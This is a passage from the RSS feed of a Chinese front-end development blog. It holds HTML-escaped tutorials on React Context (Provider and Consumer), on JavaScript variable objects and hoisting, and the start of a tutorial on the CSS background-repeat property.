&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;import&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;GeneralC&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;from&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;./GeneralC&amp;#34;&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;import&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;FnC&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;from&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;./FnC&amp;#34;&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;import&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;ClassC&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;from&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;./ClassC&amp;#34;&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;export&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;default&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;function&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;App&lt;/span&gt;() {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; (
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;//Provider组件接收一个value属性，此处传入一个带有name属性的对象
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;MyContext&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;Provider&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;value&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;{{ &lt;span style="color:#a6e22e"&gt;name&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; &lt;span style="color:#e6db74"&gt;`context&amp;#39;s value is string!`&lt;/span&gt; }}&lt;span style="color:#f92672"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; {&lt;span style="color:#75715e"&gt;/*这里写后面要进行包裹的子组件,此处先行导入后续需要消费context的3个组件*/&lt;/span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;GeneralC&lt;/span&gt;&lt;span style="color:#f92672"&gt;/&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;hr&lt;/span&gt;&lt;span style="color:#f92672"&gt;/&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;FnC&lt;/span&gt;&lt;span style="color:#f92672"&gt;/&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;hr&lt;/span&gt;&lt;span style="color:#f92672"&gt;/&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;ClassC&lt;/span&gt;&lt;span style="color:#f92672"&gt;/&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;/MyContext.Provider&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; );
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;在&lt;code&gt;GeneralC&lt;/code&gt;组件中,导入&lt;code&gt;context&lt;/code&gt;,使用其提供的&lt;code&gt;Consumer&lt;/code&gt;组件来订阅&lt;code&gt;Context&lt;/code&gt;的变更,需要一个函数作为子元素,函数的第一个形参便是&lt;code&gt;Provider&lt;/code&gt;组件提供的&lt;code&gt;value&lt;/code&gt;值&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-javascript" data-lang="javascript"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;import&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;React&lt;/span&gt;, { &lt;span style="color:#a6e22e"&gt;useReducer&lt;/span&gt; } &lt;span style="color:#a6e22e"&gt;from&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;react&amp;#34;&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;import&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;MyContext&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;from&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;./context&amp;#34;&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;GeneralC&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; () =&amp;gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; (
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;//
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;MyContext&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;Consumer&lt;/span&gt;&lt;span style="color:#f92672"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; {(&lt;span style="color:#a6e22e"&gt;value&lt;/span&gt;) =&amp;gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; (
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;div&lt;/span&gt;&lt;span style="color:#f92672"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;第一种使用Context方式获取的值&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;：&lt;/span&gt;{&lt;span style="color:#a6e22e"&gt;JSON&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;stringify&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;value&lt;/span&gt;)}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;/div&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; );
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;/MyContext.Consumer&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; );
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;};
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;export&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;default&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;GeneralC&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;此时页面中应该出现json格式的value值&lt;/p&gt;</description></item><item><title>变量对象</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/javascript/javascript-006/</link><pubDate>Wed, 06 Nov 2024 00:00:00 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/javascript/javascript-006/</guid><description>&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/javascript/javascript-006/image-01.png"&gt;&lt;/p&gt;
&lt;p&gt;这篇文章要给大家介绍的是变量对象。&lt;/p&gt;
&lt;p&gt;在JavaScript中，我们肯定不可避免的需要声明变量和函数，可是JS解析器是如何找到这些变量的呢？我们还得对执行上下文有一个进一步的了解。&lt;/p&gt;
&lt;p&gt;在知识点《执行上下文》中，我们已经知道，当调用一个函数时（激活），一个新的执行上下文就会被创建。而一个执行上下文的生命周期可以分为两个阶段。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;创建阶段&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;在这个阶段中，执行上下文会分别创建变量对象，建立作用域链，以及确定this的指向。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;代码执行阶段&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;创建完成之后，就会开始执行代码，这个时候，会完成变量赋值，函数引用，以及执行其他代码。&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/javascript/javascript-006/image-02.png"&gt;&lt;/p&gt;
&lt;p&gt;从这里我们就可以看出详细了解执行上下文极为重要，因为其中涉及到了变量对象，作用域链，this等很多人没有怎么弄明白，但是却极为重要的概念，它关系到我们能不能真正理解JavaScript。在后面的文章中我们会一一详细总结，这里我们先重点了解变量对象。&lt;/p&gt;
&lt;h5 id="变量对象variable-object"&gt;变量对象（Variable Object）&lt;/h5&gt;
&lt;p&gt;变量对象的创建，依次经历了以下几个过程。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;建立arguments对象。检查当前上下文中的参数，建立该对象下的属性与属性值。&lt;/li&gt;
&lt;li&gt;检查当前上下文的函数声明，也就是使用function关键字声明的函数。在变量对象中以函数名建立一个属性，属性值为指向该函数所在内存地址的引用。如果函数名的属性已经存在，那么该属性将会被新的引用所覆盖。&lt;/li&gt;
&lt;li&gt;检查当前上下文中的变量声明，每找到一个变量声明，就在变量对象中以变量名建立一个属性，属性值为undefined。如果该变量名的属性已经存在，为了防止同名的函数被修改为undefined，则会直接跳过，原属性值不会被修改。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;许多读者在阅读到这的时候会因为下面的这样场景对于“跳过”一词产生疑问。既然变量声明的foo遇到函数声明的foo会跳过，可是为什么最后foo的输出结果仍然是被覆盖了？&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-javascript" data-lang="javascript"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;function&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;foo&lt;/span&gt;() { &lt;span style="color:#a6e22e"&gt;console&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;log&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#39;function foo&amp;#39;&lt;/span&gt;) }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;var&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;foo&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;20&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;console&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;log&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;foo&lt;/span&gt;); &lt;span style="color:#75715e"&gt;// 20
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;其实只是大家在阅读的时候不够仔细，因为上面的三条规则仅仅适用于变量对象的创建过程。也就是执行上下文的创建过程。而&lt;code&gt;foo = 20&lt;/code&gt;是在执行上下文的执行过程中运行的，输出结果自然会是20。对比下例。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-javascript" data-lang="javascript"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;console&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;log&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;foo&lt;/span&gt;); &lt;span style="color:#75715e"&gt;// function foo
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;function&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;foo&lt;/span&gt;() { &lt;span style="color:#a6e22e"&gt;console&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;log&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#39;function foo&amp;#39;&lt;/span&gt;) }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;var&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;foo&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;20&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-javascript" data-lang="javascript"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// 上栗的执行顺序为
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// 首先将所有函数声明放入变量对象中
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;function&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;foo&lt;/span&gt;() { &lt;span style="color:#a6e22e"&gt;console&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;log&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#39;function foo&amp;#39;&lt;/span&gt;) }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// 其次将所有变量声明放入变量对象中，但是因为foo已经存在同名函数，因此此时会跳过undefined的赋值
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// var foo = undefined;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// 然后开始执行阶段代码的执行
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;console&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;log&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;foo&lt;/span&gt;); &lt;span style="color:#75715e"&gt;// function foo
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;foo&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;20&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/javascript/javascript-006/image-03.webp"&gt;&lt;/p&gt;
&lt;p&gt;根据这个规则，理解变量提升就变得十分简单了。在很多文章中虽然提到了变量提升，但是具体是怎么回事还真的很多人都说不出来，以后在面试中用变量对象的创建过程跟面试官解释变量提升，保证瞬间提升逼格。&lt;/p&gt;
&lt;p&gt;在上面的规则中我们看出，function声明会比var声明优先级更高一点。为了帮助大家更好的理解变量对象，我们结合一些简单的例子来进行探讨。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-javascript" data-lang="javascript"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// demo01
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;function&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;test&lt;/span&gt;() {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;console&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;log&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;a&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;console&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;log&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;foo&lt;/span&gt;());
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;var&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;a&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;function&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;foo&lt;/span&gt;() {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;2&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;test&lt;/span&gt;();
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;在上例中，我们直接从test()的执行上下文开始理解。全局作用域中运行&lt;code&gt;test()&lt;/code&gt;时，test()的执行上下文开始创建。为了便于理解，我们用如下的形式来表示&lt;/p&gt;</description></item><item><title>background</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/css/background/</link><pubDate>Thu, 10 Oct 2024 00:00:00 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/css/background/</guid><description>&lt;h2 id="引言"&gt;引言&lt;/h2&gt;
&lt;p&gt;在日常前端开发中，经常需要进行背景或背景图的处理。但是大多数前端er并未真正清楚背景的正确使用方式。经过本章的学习，相信你一定可以解决99%的背景处理问题。&lt;/p&gt;
&lt;h2 id="一简单使用"&gt;一：简单使用&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;背景颜色和背景图片是可以共同出现的&lt;br&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-css" data-lang="css"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;div&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;width&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;300&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;px&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;height&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;300&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;px&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;background-color&lt;/span&gt;: &lt;span style="color:#66d9ef"&gt;red&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;background-image&lt;/span&gt;: url(&lt;span style="color:#e6db74"&gt;./imgs/1.jpg&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;background-repeat&lt;/span&gt;: &lt;span style="color:#66d9ef"&gt;no-repeat&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;页面展示&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/css/background/image-01.webp"&gt;&lt;/p&gt;
&lt;h2 id="一background-repeat"&gt;一：background-repeat&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;background-repeat决定背景图片的平铺方式&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;属性值&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-lua" data-lang="lua"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;background&lt;span style="color:#f92672"&gt;-&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;repeat&lt;/span&gt;:&lt;span style="color:#66d9ef"&gt;repeat&lt;/span&gt; (&lt;span style="color:#960050;background-color:#1e0010"&gt;默认值&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;background&lt;span style="color:#f92672"&gt;-&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;repeat&lt;/span&gt;:no&lt;span style="color:#f92672"&gt;-&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;repeat&lt;/span&gt; (&lt;span style="color:#960050;background-color:#1e0010"&gt;不平铺&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;background&lt;span style="color:#f92672"&gt;-&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;repeat&lt;/span&gt;:&lt;span style="color:#66d9ef"&gt;repeat&lt;/span&gt;&lt;span style="color:#f92672"&gt;-&lt;/span&gt;x &lt;span style="color:#960050;background-color:#1e0010"&gt;（水平方向平铺）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;background&lt;span style="color:#f92672"&gt;-&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;repeat&lt;/span&gt;:&lt;span style="color:#66d9ef"&gt;repeat&lt;/span&gt;&lt;span style="color:#f92672"&gt;-&lt;/span&gt;y &lt;span style="color:#960050;background-color:#1e0010"&gt;（垂直方向平铺）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;1. repeat&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;默认情况下，如果背景图片不能铺满整个盒子时，系统会在水平和垂直方向同时平铺直到覆盖整个盒子&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-css" data-lang="css"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;div&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;width&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;300&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;px&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;height&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;300&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;px&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;background-color&lt;/span&gt;: &lt;span style="color:#66d9ef"&gt;red&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;background-image&lt;/span&gt;: url(&lt;span style="color:#e6db74"&gt;./imgs/1.jpg&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;background-repeat&lt;/span&gt;: &lt;span style="color:#66d9ef"&gt;repeat&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/css/background/image-02.webp"&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;2.repeat-x&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;如果背景图片不能将盒子的水平方向铺满，则在水平方向采取平铺处理直到铺满盒子的水平方向。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-css" data-lang="css"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;div&lt;/span&gt; {
